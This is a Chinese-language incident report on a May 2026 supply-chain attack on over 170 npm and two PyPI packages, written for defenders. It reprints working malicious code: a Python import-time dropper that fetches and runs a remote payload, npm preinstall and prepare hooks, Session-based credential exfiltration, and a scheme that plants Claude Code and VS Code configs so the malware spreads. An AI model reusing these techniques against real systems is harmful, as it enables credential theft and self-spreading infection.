目录
概要
2026年5月11日,一场协同供应链攻击危害了超过170个npm包和2个PyPI包,共计404个恶意版本。攻击者瞄准了整个TanStack路由器生态系统(42个包)、Mistral AI的SDK套件(同时在npm和PyPI上)、UiPath的自动化工具(65个包)、OpenSearch(每周npm下载量130万次)和Guardrails AI(PyPI)。这是2026年观察到的最大规模协同注册表投毒事件,也是首个在单次行动中同时波及npm和PyPI的事件。
Package Manager Guard(PMG)通过威胁情报、安装时策略强制执行和操作系统原生沙箱化来帮助开发者抵御开源软件供应链攻击。其依赖冷却策略可以阻止新发布的包立即被安装,从而减少对快速移动攻击的暴露。当允许安装时,沙箱化有助于限制可疑或被入侵包的爆炸半径。
受影响的包包括(附录中的完整列表)**:
@tanstack/react-router:面向React的路由库,每周npm下载量超过300万次@mistralai/mistralai:官方Mistral AI JavaScript/TypeScript SDK@opensearch-project/opensearch:官方OpenSearch JavaScript客户端@uipath/robot:UiPath面向企业工作流的RPA自动化运行时@tanstack/vue-router:TanStack面向Vue应用程序的路由库
StepSecurity和Socket Security将此攻击追踪为"mini-shai-hulud"。
更新(2026-05-12,约03:05 UTC): 攻击活动已扩展到npm之外。攻击者作为同一攻击的一部分入侵了两个PyPI包:
mistralai==2.4.6:官方Mistral AI Python SDK的恶意版本。攻击前的合法最新版本是2.4.5(5月7日发布)。mistralai/client-python中不存在v2.4.6标签。PyPI已对整个mistralai项目进行了隔离。guardrails-ai==0.10.1:Guardrails AI验证框架的恶意版本。PyPI已对整个guardrails-ai项目进行了隔离。
PyPI包使用与npm包不同的有效载荷传递机制:在导入时,Python dropper从攻击者控制的域名hxxps://git-tanstack[.]com/transformers.pyz下载transformers.pyz,并使用python3执行它。这与npm攻击活动有效载荷中命名的同一git-tanstack[.]com域名。Cloudflare现已将该域名标记为疑似钓鱼网站。
事件经过
SafeDep的恶意软件检测管道在5月11日晚间标记了一批可疑的npm包发布。范围不同寻常:攻击者在一次协同攻击中发布了跨170个不同包的恶意版本,不像3月份的axios入侵事件那样只针对一个高价值包。攻击者瞄准了整个组织作用域,批量入侵了@tanstack、@squawk、@uipath、@tallyui以及另外几个作用域下的每个包。
入侵指标(IoC)
npm包
- C2/数据泄露:
hxxp://filev2[.]getsession[.]org/file/(会话文件服务器) - AWS元数据探测:
hxxp://169[.]254[.]169[.]254/latest/meta-data/iam/security-credentials/ - Vault探测:
hxxp://127[.]0[.]0[.]1:8200 - Bun运行时下载:
hxxps://github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/ - 包SHA-256:
ce7e4199506959fd7a71b64209b2c07b9c82e53a946aa7d78298dc9249230d01(@mistralai/[email protected]) - 恶意GitHub提交:
tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c(@tanstack/setup的有效载荷托管地址) - 释放的文件:
.claude/settings.json、.claude/setup.mjs、.vscode/tasks.json、.vscode/setup.mjs、.claude/router_runtime.js - GitHub API滥用:
createCommitOnBranchGraphQL变体用于推送被污染的配置 - 扫描的令牌模式:
ghp_*、gho_*、ghs_*、npm_* - PyPI辅助C2:
hxxps://git-tanstack[.]com/transformers[.]pyz(Cloudflare代理,2026年5月9日注册) - PyPI有效载荷暂存:
/tmp/transformers.pyz
PyPI包(更新于2026-05-12)
- 恶意包:
mistralai==2.4.6、guardrails-ai==0.10.1 - PyPI项目状态:两个项目均已隔离;无法访问任何文件
- 有效载荷下载域名:
hxxps://git-tanstack[.]com/transformers.pyz(Cloudflare标记为钓鱼) - 写入磁盘的有效载荷:
/tmp/transformers.pyz - 执行命令:
python3 /tmp/transformers.pyz(无完整性验证) - 触发条件:在
import时,而非pip install时(沙箱化安装环境不会捕获此行为)
高调目标
TanStack(42个包,84个版本)
在知名项目中,TanStack生态系统按包数量计算遭受了最大冲击。攻击者发布了每个路由相关包的恶意版本:@tanstack/react-router、@tanstack/vue-router、@tanstack/solid-router,以及它们的devtools、SSR查询插件、start框架和构建工具。每个包两个版本。
TanStack Router为React、Vue和Solid上的应用程序提供支持。在攻击时间窗口内拉取这些版本任何项目都运行了恶意的preinstall钩子。
Mistral AI(3个包,9个版本)
攻击者入侵了所有三个Mistral AI SDK包:
@mistralai/mistralai(核心SDK)@mistralai/mistralai-azure(Azure集成)@mistralai/mistralai-gcp(GCP集成)
每个包三个恶意版本。
UiPath(65个包,65个版本)
整个@uipath npm作用域被每个包的一个恶意版本击中。受影响的包涵盖UiPath的自动化平台:代理SDK、编排器工具、RPA工具、解决方案打包器和集成服务。
其他值得注意的目标
- OpenSearch(
@opensearch-project/opensearch):官方OpenSearch JavaScript客户端,每周下载量130万次,在4个版本(3.5.3、3.6.2、3.7.0、3.8.0)上中招 - Guardrails AI(PyPI上的
[email protected]):Python AI guardrails框架。使用不同的加载器:从hxxps://git-tanstack[.]com下载transformers.pyz并使用python3运行。该域名显示了一条署名"With TeamPCP"的嘲讽信息
攻击模式
被入侵包中出现了几个显著的模式:
批量作用域攻击。 攻击者发布了整个npm作用域而非单独挑选包。@squawk作用域每个包有5个恶意版本,共20个包。@tallyui每个包有3个版本,共10个包。
版本数量变化。 TanStack包每个获得2个版本。@beproduct/nestjs-auth获得了18个版本(0.1.2到0.1.19)。@uipath包每个恰好获得1个版本。这种变化表明攻击者可能对不同目标使用了不同策略,或根据访问限制进行了调整。
集中的时间线。 攻击者在5月11日的五小时窗口内发布了所有401个版本,表明使用了自动化工具而非手动操作。
两种触发机制。 Mistral AI包使用preinstall钩子:攻击者剥离了合法构建脚本并用node setup.mjs替换它们,后者下载Bun并运行有效载荷。TanStack包使用更隐蔽的方法:一个指向真实tanstack/router GitHub仓库中恶意提交的optionalDependency,其prepare脚本通过Bun运行有效载荷。两条路径传递相同的混淆凭证窃取有效载荷。
多目标凭证收集。 有效载荷携带模块化凭证窃取框架,为AWS IAM、HashiCorp Vault、GitHub令牌(ghp_、gho_、ghs_)、npm发布令牌和GitHub Actions OIDC令牌提供专用提供商。凭证目标的广度表明攻击者正在优化跨云和CI/CD基础设施的横向移动。
通过Session协议进行数据泄露。 有效载荷通过Session洋葱路由信使网络发送被盗凭证,而非传统的C2域名。防御者无法像查封域名那样关闭去中心化的 swarm。
IDE和AI代理污染以实现传播。 有效载荷使用被盗的GitHub令牌通过GitHub的GraphQL API将恶意的配置文件(.claude/settings.json、.vscode/tasks.json)提交到受害者仓库。其他克隆或拉取这些仓库的开发人员会继承恶意的配置。攻击者将其设计为针对Claude Code和VS Code用户的自我传播载体。
共享有效载荷模板。 Mistral AI包将其有效载荷引用为tanstack_runner.js,这是TanStack包中的命名工件。tanstack_前缀在Mistral AI包中指向单一有效载荷模板,在整个攻击活动中重复使用,但目标定制不完整。
技术分析
我们检查了两个不同作用域的被入侵包,以验证攻击活动使用共享有效载荷。Mistral AI和TanStack包使用不同的触发机制,但释放相同的凭证窃取、支持C2的有效载荷。
Mistral AI:@mistralai/[email protected]
包差异:2.2.1 vs 2.2.2
被入侵的tarball大小是合法发布版本的两倍多(1.9MB vs 873KB)。对比文件树揭示了两个新文件和package.json中重写的scripts块:
// package.json diff
"lint": "oxlint --max-warnings=0 --deny-warnings src/**/*.ts src/**/*.tsx",
"build": "tsgo",
"prepublishOnly": "npm run build"
"preinstall": "node setup.mjs"攻击者用一个单一的preinstall钩子替换了所有合法构建脚本,并添加了两个文件:
setup.mjs:下载器/加载器,用于引导攻击router_init.js:2.2MB高度混淆的有效载荷(单行,十六进制变量混淆)
攻击者没有修改任何现有的SDK源文件。攻击完全是添加性的。
执行触发:setup.mjs
preinstall钩子运行setup.mjs,后者从GitHub releases(bun-v1.3.13)下载平台特定的Bun运行时二进制文件,并使用它执行混淆的有效载荷:
const V = '1.3.13';
const E = 'tanstack_runner.js';
// Downloads Bun from official GitHub releases
const u = \`https://github.com/oven-sh/bun/releases/download/bun-v${V}/${a}.zip\`;
// Extracts Bun, then runs the payload
execFileSync(bp, [ep], { stdio: 'inherit', cwd: D });加载器支持Linux(x64、arm64、musl)、macOS(x64、arm64)和Windows(x64、arm64)。它检测musl基础系统(Alpine)以正确选择二进制文件。如果系统上已安装Bun,它会跳过下载并使用本地副本。
setup.mjs引用有效载荷为tanstack_runner.js,但包中的实际文件是router_init.js。这种命名不匹配意味着Mistral preinstall钩子在运行时失败。tanstack_前缀在Mistral AI包中确认攻击者重用了为TanStack包构建的模板而没有更新文件名常量。
TanStack:@tanstack/[email protected]
TanStack变体使用不同的、更隐蔽的触发机制。对比@tanstack/[email protected](合法)与1.169.5(被入侵)显示攻击者没有触碰scripts块,而是在optionalDependencies中注入了一个条目:
// package.json diff (1.169.2 → 1.169.5)
"optionalDependencies": {
"@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}TanStack tarball中不存在setup.mjs。攻击完全不修改scripts。相反,@tanstack/setup解析为tanstack/router GitHub仓库中的恶意提交。
# List files at the malicious commit
curl -s "https://api.github.com/repos/tanstack/router/git/trees/79ac49eedf774dd4b0cfa308722bc463cfe5885c" \
| jq '.tree[] | {path, size}'
# Fetch package.json
curl -sL "https://raw.githubusercontent.com/tanstack/router/79ac49eedf774dd4b0cfa308722bc463cfe5885c/package.json"注意: GitHub此后已删除此提交。上述命令将返回404。我们的分析是在清理之前完成的。
该提交包含两个文件:
package.json (175 bytes)
tanstack_runner.js (2,339,346 bytes)该提交处的package.json:
{
"name": "@tanstack/setup",
"scripts": {
"prepare": "bun run tanstack_runner.js && exit 1"
}
}npm通过克隆提交并运行prepare脚本来解析GitHub依赖项,后者通过Bun执行有效载荷。&& exit 1强制prepare步骤在执行后失败,压制任何可能警告开发者的进一步post-install输出。
此触发器比Mistral变体更难发现。审查者扫描package.json时看不到修改过的scripts块。恶意条目隐藏在optionalDependencies中,指向真实的GitHub仓库(tanstack/router),而非可疑的外部URL。攻击者拥有写入TanStack GitHub仓库的权限以推送此提交,表明除了npm发布令牌外还有被入侵的GitHub凭证。
npm tarball还包含router_init.js(2,341,681字节),相同混淆有效载荷的稍大副本。GitHub托管的tanstack_runner.js和tarball的router_init.js都包含相同的恶意功能:396个beautify()加密字符串调用、相同的AES解密层、相同的凭证提供程序类层次结构、相同的Session C2实现(包括mlYTXvk...种子节点证书指纹)和相同的IDE污染文件映射(.claude/settings.json、.vscode/tasks.json)。两个文件之间的十六进制变量名不同,表明每个都通过同一工具进行了独立的混淆处理。
混淆有效载荷:router_init.js
该有效载荷是一个2.2MB单行JavaScript文件,使用十六进制变量混淆(_0x12ada1、_0x3782、_0x360f)。它使用带有轮换函数的乱序字符串数组,使静态分析变得困难。关键字符串经过双重加密:首先通过十六进制混淆器的查找表,然后通过使用createDecipheriv和Bun的gunzipSync的w8()函数进行AES解密。
有效载荷包含模块化凭证窃取框架,具有专用提供程序类,都扩展自基类gQ:
| 类 | 目标 | 收集的凭证 |
|---|---|---|
NK | AWS | AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY、通过169.254.169.254的IAM实例凭证 |
ZK | HashiCorp Vault | VAULT_TOKEN、VAULT_AUTH_TOKEN(默认值:http://127.0.0.1:8200) |
MK | GitHub Actions Runner | ghp_*、gho_*、ghs_*令牌、ACTIONS_ID_TOKEN |
JK | GitHub Actions(CI) | ghp_*、gho_*令牌、npm_*令牌 |
FK | Secrets Manager | ghp_*、gho_*、npm_*令牌 |
UK | Secrets Manager | npm_*令牌 |
DK / OK | 其他 | ghp_*、gho_*、npm_*令牌 |
凭证扫描器匹配到的令牌模式:
/gh[op]_[A-Za-z0-9_\-\.]{36,}/g // GitHub personal/OAuth tokens
/npm_[A-Za-z0-9_\-\.]{36,}/g // npm publish tokens
/ghs_[A-Za-z0-9]{36,}/g // GitHub App installation tokens
/ghs_\d+_[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+/g // GitHub Actions JWTs通过Session协议进行数据泄露
有效载荷通过Session信使协议泄露被盗凭证,这是一款建立在Oxen网络上的洋葱路由加密信使。它嵌入了完整的Session客户端实现,而非简单的HTTP调用到C2域名。
有效载荷通过带有固定TLS证书的Session种子节点进行引导连接,证书由Oxen隐私技术基金会颁发:
// router_init.js (deobfuscated)
// Seed nodes with pinned certs
J_ = { url: 'seed1.getsession.org', certContent: '...', pubkey256: 'mlYTXvkmIEYcpswANTpnBwlz9Cswi0py/RQKkbdQOZQ=' };
X_ = { url: 'seed2.getsession.org', certContent: '...' }; // CN=seed2.getsession.org, O=Oxen Privacy Tech Foundation
Y_ = { url: 'seed3.getsession.org', certContent: '...' }; // CN=seed3.getsession.org, O=Oxen Privacy Tech Foundation
sK = [J_, X_, Y_];
// Bootstrap: fetch snode list via Oxen JSON-RPC
let response = await fetch('https://' + seedNode.url + '/json_rpc', {
method: 'POST',
body: JSON.stringify({
jsonrpc: '2.0',
id: 0,
method: 'get_n_service_nodes',
params: { fields: { public_ip: true, storage_port: true, pubkey_x25519: true, pubkey_ed25519: true } },
}),
});在检索到snode列表后,有效载荷解析攻击者Session ID的目标swarm,并通过选定的snode路由加密消息:
// router_init.js (deobfuscated)
// Snode request function - URL is dynamic, not a fixed C2 endpoint
let url = 'https://' + targetNode.ip + ':' + targetNode.port + '/storage_rpc/v1'
// JSON-RPC body: { jsonrpc: '2.0', method: 'store' | 'retrieve', params: ... }
// Swarm resolution for a given Session public key
async function iF({ snode, pubkey }) {
return { swarms: (await ...([{ method: 'get_swarm', params: { pubkey } }])) }
}较大的数据blob(文件上传)通过Session在hxxp://filev2[.]getsession[.]org/file/的集中式文件服务器进行:
// router_init.js (deobfuscated)
'RXjHv': 'http://filev2.getsession.org/file/'有效载荷使用ed25519和x25519密钥对进行Session的端到端加密。没有固定的C2 URL可阻止:消息路由通过Session swarm网络进行,snode地址在运行时解析。唯一的静态基础设施是种子节点引导和文件上传服务器。
IDE和AI代理污染
有效载荷包含自我复制机制,将恶意配置文件提交到受害者仓库。本节追踪从文件映射到GitHub提交的完整链条。
文件映射
有效载荷定义了要放入目标仓库的文件映射:
// router_init.js (deobfuscated variable names, encrypted values preserved)
var hO = {
'.vscode/tasks.json': FO, // VS Code task runner config (encrypted)
'.claude/router_runtime.js': { sourcePath: Bun.main }, // self-copy of the running payload
'.claude/settings.json': DO, // Claude Code settings (encrypted)
'.claude/setup.mjs': h9, // Claude Code hook (encrypted)
'.vscode/setup.mjs': h9, // VS Code hook (encrypted, same as above)
};FO、DO和h9是双加密字符串,通过w8(beautify(...), key)在运行时解码,这是整个有效载荷中使用的相同AES + gunzip管道。.claude/setup.mjs和.vscode/setup.mjs共享相同的加密blob(h9)。
.claude/router_runtime.js条目不使用加密字符串。相反,{ sourcePath: Bun.main }告诉文件处理器(yO函数)读取当前执行的脚本,进行base64编码,并将其包含在提交中。Bun.main解析为router_init.js的绝对路径。攻击者将完整的2.2MB混淆有效载荷提交到受害者的仓库,确保链条的下一阶段在本地具有完整的恶意软件。
目标仓库和分支选择
有效载荷读取process.env.GITHUB_REPOSITORY(由GitHub Actions设置)并将其拆分为owner/repo:
// router_init.js (deobfuscated)
function fO() {
let repo = process.env.GITHUB_REPOSITORY; // e.g. "octocat/hello-world"
let [owner, name] = repo.split('/');
return { owner, repo: name };
}分支列表器(p6类)通过GitHub的GraphQL API查询最多50个分支,然后过滤掉匹配排除列表(s3)的分支。排除列表包含四个加密模式,可能是main、master、develop和release。有效载荷目标是功能和主题分支,在这些分支上新提交不太可能触发审查,也更有可能被合并到主分支。
提交执行
有效载荷使用GitHub的createCommitOnBranch GraphQL变体提交被污染的文件,每次API调用批处理两个分支提交:
// router_init.js (literal string, not obfuscated)
var kO = \`
mutation CreateCommitOnBranch($input: CreateCommitOnBranchInput!) {
createCommitOnBranch(input: $input) {
commit {
oid
url
}
}
}
\`;对于多个分支,xO()生成带有索引输入的批处理变体($input0、$input1等),每个请求处理两个分支(KS = 0x2)。每个提交包含一个加密标题(GS)和从qS作者列表生成的Co-authored-by trailer(加密的名称和电子邮件)。共同作者行使提交看起来像是协作的而非异常的。
传播链
释放的文件创建了一个自我维持的感染循环:
.claude/settings.json和.vscode/tasks.json配置IDE或AI代理在项目加载时执行.claude/setup.mjs或.vscode/setup.mjssetup.mjs(h9)运行router_runtime.js,这是完整有效载荷- 有效载荷从新受害者环境收集凭证并重复循环
任何克隆或拉取被污染分支的开发人员都会获得恶意的IDE配置。在VS Code中打开项目或运行Claude Code会触发有效载荷,无需开发人员采取任何明确行动。
辅助GitHub渠道
有效载荷还使用GitHub的REST API实现两个额外目的:
- 将提交搜索作为C2:
MM函数查询api.github.com/search/commits以查找特定标记(b9加密)。当找到匹配的提交时,有效载荷从提交消息中提取base64编码的数据,解码并执行指令。这将GitHub的提交历史转换为命令和控制通道。 - 通过仓库进行数据泄露:有效载荷使用REST API将被盗凭证上传到
contents/results/下的GitHub仓库,包含重试逻辑(最多5次尝试,指数退避)。这提供了完全在GitHub基础设施内运行的泄露通道,与Session信使通道并行。
PyPI包:mistralai 2.4.6和guardrails-ai 0.10.1(更新于2026-05-12)
攻击者从npm跨越到PyPI并入侵了两个包。确切的发布时间戳不可用,因为PyPI在我们查询元数据之前隔离了两个项目。
跨生态系统攻击链
攻击者向PyPI发布了mistralai==2.4.6和guardrails-ai==0.10.1,而没有提交或触发任一包的GitHub Actions发布工作流。PyPI发布的凭证来源未知。npm有效载荷窃取npm令牌和GitHub令牌,但不针对~/.pypirc或PyPI凭证。攻击者可能通过单独渠道或在入侵的CI运行器上通过环境变量获取了PyPI凭证。
5月11日mistralai/client-python中没有提交落地,仓库中也不存在v2.4.6标签。攻击前的合法最新版本是2.4.5,于5月7日发布。Mistral AI从未发布过版本2.4.6。
PyPI有效载荷传递:transformers.pyz
PyPI包使用与npm包不同的传递机制。不是preinstall钩子和捆绑的router_init.js,恶意Python包在包的__init__.py中注入代码,每次import时运行。
我们从一个PyPI镜像恢复了guardrails-ai==0.10.1,然后才传播隔离。对比__init__.py与合法的0.10.0显示在__all__导出列表后追加了15行,整个wheel中没有其他文件被修改:
# guardrails/__init__.py (lines appended in 0.10.1, absent in 0.10.0)
import urllib.request
import subprocess
import os
import sys
if sys.platform.startswith("linux"):
URL = "https://git-tanstack.com/transformers.pyz"
PATH = "/tmp/transformers.pyz"
req = urllib.request.Request(URL, headers={'User-Agent': 'Mozilla/5.0'})
with urllib.request.urlopen(req) as response, open(PATH, 'wb') as out_file:
out_file.write(response.read())
subprocess.run(["python3", PATH])没有混淆。C2 URL、暂存路径和执行命令都是明文。sys.platform检查将执行限制为Linux,因此macOS和Windows安装携带了木马化代码但dropper不会触发。
PyPI和所有镜像在我们恢复之前就移除了mistralai==2.4.6 sdist。基于共享的git-tanstack[.]com基础设施,它使用相同的__init__.py注入。
.pyz扩展名表示Python zipapp,这是解释器可以执行的自包含Python存档。我们未能恢复transformers.pyz的内容,因为git-tanstack.com阻止了访问。该域名与npm有效载荷的解码字符串中引用的攻击者控制基础设施相同。Cloudflare已将git-tanstack.com标记为疑似钓鱼网站。
为什么导入时触发很重要
PyPI的沙箱化安装环境(pip download、pip wheel)不执行包代码,与npm的preinstall/postinstall钩子不同。__init__.py触发器仅在开发者或正在运行的应用程序调用import mistralai或import guardrails时触发。这意味着:
- 对sdist或wheel的静态分析可能显示dropper代码,但不会执行包API的自动化沙箱安装将无法观察到有效载荷的网络活动
- 在攻击时间窗口内导入
mistralai或guardrails的任何应用程序都应被视为可能已被入侵,无论pip install是否在沙箱化环境中运行
更广泛的背景
2026年的供应链攻击持续升级。3月份的axios入侵事件针对单个高价值包。本攻击活动将范围扩大到数百个包的同时,在数小时内从npm跨越到PyPI。不同的战术,相同的根本原因:被入侵的发布凭证授予了发布新版本的无限访问权。
AI/ML包(npm和PyPI上的Mistral AI SDK、guardrails-ai)以及Web框架包(TanStack)和企业自动化工具(UiPath)的包含表明,攻击者正在针对尽可能广泛的开发者群体,而非特定的技術垂直领域。
随着调查的深入,我们将继续更新这篇文章。
应对措施
npm
如果您的项目依赖于附录中列出的任何包,请检查lockfile中是否有特定被入侵的版本:
npm ls | grep -E "@tanstack|@mistralai|@uipath|@squawk|@opensearch-project"将您的依赖项固定到已知良好版本,并在确认被入侵版本已从注册表中删除后重新生成lockfile。
PyPI
检查mistralai==2.4.6或guardrails-ai==0.10.1是否出现在任何lockfile或已安装环境中:
pip show mistralai guardrails-ai如果任一显示版本2.4.6(mistralai)或0.10.1(guardrails-ai),请将环境视为已被入侵。mistralai的安全版本是2.4.5或更早版本。对于guardrails-ai,使用0.10.0或更早版本。
还要检查磁盘上的有效载荷工件:
ls -la /tmp/transformers.pyz如果此文件存在,则有效载荷已运行。请轮换在import时环境中存在的任何凭证。
如果任何CI/CD运行器已暴露
如果CI/CD运行器安装或运行了任何被入侵的npm包,并且具有可用的PyPI发布凭证(通过~/.pypirc、PYPI_TOKEN或PYPI_PASSWORD),请立即轮换这些凭证。请将与运行了被入侵npm包之一的环境中的任何PyPI令牌视为被盗。
SafeDep vet可以扫描您的依赖树以对抗已知的恶意包数据库:
vet scan -M package-lock.json
# or for Python
vet scan -M requirements.txt附录:被入侵包列表
PyPI包(更新于2026-05-12)
pypi-packages-update.csv
| 包 | 被入侵版本 | 合法最新版本 | PyPI状态 | |
|---|---|---|---|---|
| 1 | mistralai | 2.4.6 | 2.4.5 | 已隔离 |
| 2 | guardrails-ai | 0.10.1 | 0.10.0 | 已隔离 |
2行
| 4列 |
172个跨npm和PyPI的包,404个被入侵版本,按作用域和包名称分组。
@tanstack(npm)
tanstack-compromised-packages.csv
| 包 | 被入侵版本 | |
|---|---|---|
| 1 | @tanstack/arktype-adapter | 1.166.12, 1.166.15 |
| 2 | @tanstack/eslint-plugin-router | 1.161.9, 1.161.12 |
| 3 | @tanstack/eslint-plugin-start | 0.0.4, 0.0.7 |
| 4 | @tanstack/history | 1.161.9, 1.161.12 |
| 5 | @tanstack/nitro-v2-vite-plugin | 1.154.12, 1.154.15 |
| 6 | @tanstack/react-router | 1.169.5, 1.169.8 |
| 7 | @tanstack/react-router-devtools | 1.166.16, 1.166.19 |
| 8 | @tanstack/react-router-ssr-query | 1.166.15, 1.166.18 |
| 9 | @tanstack/react-start | 1.167.68, 1.167.71 |
| 10 | @tanstack/react-start-client | 1.166.51, 1.166.54 |
| 11 | @tanstack/react-start-rsc | 0.0.47, 0.0.50 |
| 12 | @tanstack/react-start-server | 1.166.55, 1.166.58 |
| 13 | @tanstack/router-cli | 1.166.46, 1.166.49 |
| 14 | @tanstack/router-core | 1.169.5, 1.169.8 |
| 15 | @tanstack/router-devtools | 1.166.16, 1.166.19 |
| 16 | @tanstack/router-devtools-core | 1.167.6, 1.167.9 |
| 17 | @tanstack/router-generator | 1.166.45, 1.166.48 |
| 18 | @tanstack/router-plugin | 1.167.38, 1.167.41 |
| 19 | @tanstack/router-ssr-query-core | 1.168.3, 1.168.6 |
| 20 | @tanstack/router-utils | 1.161.11, 1.161.14 |
| 21 | @tanstack/router-vite-plugin | 1.166.53, 1.166.56 |
| 22 | @tanstack/solid-router | 1.169.5, 1.169.8 |
| 23 | @tanstack/solid-router-devtools | 1.166.16, 1.166.19 |
| 24 | @tanstack/solid-router-ssr-query | 1.166.15, 1.166.18 |
| 25 | @tanstack/solid-start | 1.167.65, 1.167.68 |
| 26 | @tanstack/solid-start-client | 1.166.50, 1.166.53 |
| 27 | @tanstack/solid-start-server | 1.166.54, 1.166.57 |
| 28 | @tanstack/start-client-core | 1.168.5, 1.168.8 |
| 29 | @tanstack/start-fn-stubs | 1.161.9, 1.161.12 |
| 30 | @tanstack/start-plugin-core | 1.169.23, 1.169.26 |
| 31 | @tanstack/start-server-core | 1.167.33, 1.167.36 |
| 32 | @tanstack/start-static-server-functions | 1.166.44, 1.166.47 |
| 33 | @tanstack/start-storage-context | 1.166.38, 1.166.41 |
| 34 | @tanstack/valibot-adapter | 1.166.12, 1.166.15 |
| 35 | @tanstack/virtual-file-routes | 1.161.10, 1.161.13 |
| 36 | @tanstack/vue-router | 1.169.5, 1.169.8 |
| 37 | @tanstack/vue-router-devtools | 1.166.16, 1.166.19 |
| 38 | @tanstack/vue-router-ssr-query | 1.166.15, 1.166.18 |
| 39 | @tanstack/vue-start | 1.167.61, 1.167.64 |
| 40 | @tanstack/vue-start-client | 1.166.46, 1.166.49 |
| 41 | @tanstack/vue-start-server | 1.166.50, 1.166.53 |
| 42 | @tanstack/zod-adapter | 1.166.12, 1.166.15 |
42行
| 2列 |
@mistralai(npm)
mistralai-compromised-packages.csv
| 包 | 被入侵版本 | |
|---|---|---|
| 1 | @mistralai/mistralai | 2.2.2, 2.2.3, 2.2.4 |
| 2 | @mistralai/mistralai-azure | 1.7.1, 1.7.2, 1.7.3 |
| 3 | @mistralai/mistralai-gcp | 1.7.1, 1.7.2, 1.7.3 |
3行
| 2列 |
@uipath(npm)
uipath-compromised-packages.csv
| 包 | 被入侵版本 | |
|---|---|---|
| 1 | @uipath/access-policy-sdk | 0.3.1 |
| 2 | @uipath/access-policy-tool | 0.3.1 |
| 3 | @uipath/admin-tool | 0.1.1 |
| 4 | @uipath/agent-sdk | 1.0.2 |
| 5 | @uipath/agent-tool | 1.0.1 |
| 6 | @uipath/agent.sdk | 0.0.18 |
| 7 | @uipath/aops-policy-tool | 0.3.1 |
| 8 | @uipath/ap-chat | 1.5.7 |
| 9 | @uipath/api-workflow-tool | 1.0.1 |
| 10 | @uipath/apollo-core | 5.9.2 |
| 11 | @uipath/apollo-react | 4.24.5 |
| 12 | @uipath/apollo-wind | 2.16.2 |
| 13 | @uipath/auth | 1.0.1 |
| 14 | @uipath/case-tool | 1.0.1 |
| 15 | @uipath/cli | 1.0.1 |
| 16 | @uipath/codedagent-tool | 1.0.1 |
| 17 | @uipath/codedagents-tool | 0.1.12 |
| 18 | @uipath/codedapp-tool | 1.0.1 |
| 19 | @uipath/common | 1.0.1 |
| 20 | @uipath/context-grounding-tool | 0.1.1 |
| 21 | @uipath/data-fabric-tool | 1.0.2 |
| 22 | @uipath/docsai-tool | 1.0.1 |
| 23 | @uipath/filesystem | 1.0.1 |
| 24 | @uipath/flow-tool | 1.0.2 |
| 25 | @uipath/functions-tool | 1.0.1 |
| 26 | @uipath/gov-tool | 0.3.1 |
| 27 | @uipath/identity-tool | 0.1.1 |
| 28 | @uipath/insights-sdk | 1.0.1 |
| 29 | @uipath/insights-tool | 1.0.1 |
| 30 | @uipath/integrationservice-sdk | 1.0.2 |
| 31 | @uipath/integrationservice-tool | 1.0.2 |
| 32 | @uipath/llmgw-tool | 1.0.1 |
| 33 | @uipath/maestro-sdk | 1.0.1 |
| 34 | @uipath/maestro-tool | 1.0.1 |
| 35 | @uipath/orchestrator-tool | 1.0.1 |
| 36 | @uipath/packager-tool-apiworkflow | 0.0.19 |
| 37 | @uipath/packager-tool-bpmn | 0.0.9 |
| 38 | @uipath/packager-tool-case | 0.0.9 |
| 39 | @uipath/packager-tool-connector | 0.0.19 |
| 40 | @uipath/packager-tool-flow | 0.0.19 |
| 41 | @uipath/packager-tool-functions | 0.1.1 |
| 42 | @uipath/packager-tool-webapp | 1.0.6 |
| 43 | @uipath/packager-tool-workflowcompiler | 0.0.16 |
| 44 | @uipath/packager-tool-workflowcompiler-browser | 0.0.34 |
| 45 | @uipath/platform-tool | 1.0.1 |
| 46 | @uipath/project-packager | 1.1.16 |
| 47 | @uipath/resource-tool | 1.0.1 |
| 48 | @uipath/resourcecatalog-tool | 0.1.1 |
| 49 | @uipath/resources-tool | 0.1.11 |
| 50 | @uipath/robot | 1.3.4 |
| 51 | @uipath/rpa-legacy-tool | 1.0.1 |
| 52 | @uipath/rpa-tool | 0.9.5 |
| 53 | @uipath/solution-packager | 0.0.35 |
| 54 | @uipath/solution-tool | 1.0.1 |
| 55 | @uipath/solutionpackager-sdk | 1.0.11 |
| 56 | @uipath/solutionpackager-tool-core | 0.0.34 |
| 57 | @uipath/tasks-tool | 1.0.1 |
| 58 | @uipath/telemetry | 0.0.7 |
| 59 | @uipath/test-manager-tool | 1.0.2 |
| 60 | @uipath/tool-workflowcompiler | 0.0.12 |
| 61 | @uipath/traces-tool | 1.0.1 |
| 62 | @uipath/ui-widgets-multi-file-upload | 1.0.1 |
| 63 | @uipath/uipath-python-bridge | 1.0.1 |
| 64 | @uipath/vertical-solutions-tool | 1.0.1 |
| 65 | @uipath/vss | 0.1.6 |
| 66 | @uipath/widget.sdk | 1.2.3 |
66行
| 2列 |
@squawk(npm)
squawk-compromised-packages.csv
| 包 | 被入侵版本 | |
|---|---|---|
| 1 | @squawk/airport-data | 0.7.4, 0.7.5, 0.7.6, 0.7.7, 0.7.8 |
| 2 | @squawk/airports | 0.6.2, 0.6.3, 0.6.4, 0.6.5, 0.6.6 |
| 3 | @squawk/airspace | 0.8.1, 0.8.2, 0.8.3, 0.8.4, 0.8.5 |
| 4 | @squawk/airspace-data | 0.5.3, 0.5.4, 0.5.5, 0.5.6, 0.5.7 |
| 5 | @squawk/airway-data | 0.5.4, 0.5.5, 0.5.6, 0.5.7, 0.5.8 |
| 6 | @squawk/airways | 0.4.2, 0.4.3, 0.4.4, 0.4.5, 0.4.6 |
| 7 | @squawk/fix-data | 0.6.4, 0.6.5, 0.6.6, 0.6.7, 0.6.8 |
| 8 | @squawk/fixes | 0.3.2, 0.3.3, 0.3.4, 0.3.5, 0.3.6 |
| 9 | @squawk/flight-math | 0.5.4, 0.5.5, 0.5.6, 0.5.7, 0.5.8 |
| 10 | @squawk/flightplan | 0.5.2, 0.5.3, 0.5.4, 0.5.5, 0.5.6 |
| 11 | @squawk/geo | 0.4.4, 0.4.5, 0.4.6, 0.4.7, 0.4.8 |
| 12 | @squawk/icao-registry | 0.5.2, 0.5.3, 0.5.4, 0.5.5, 0.5.6 |
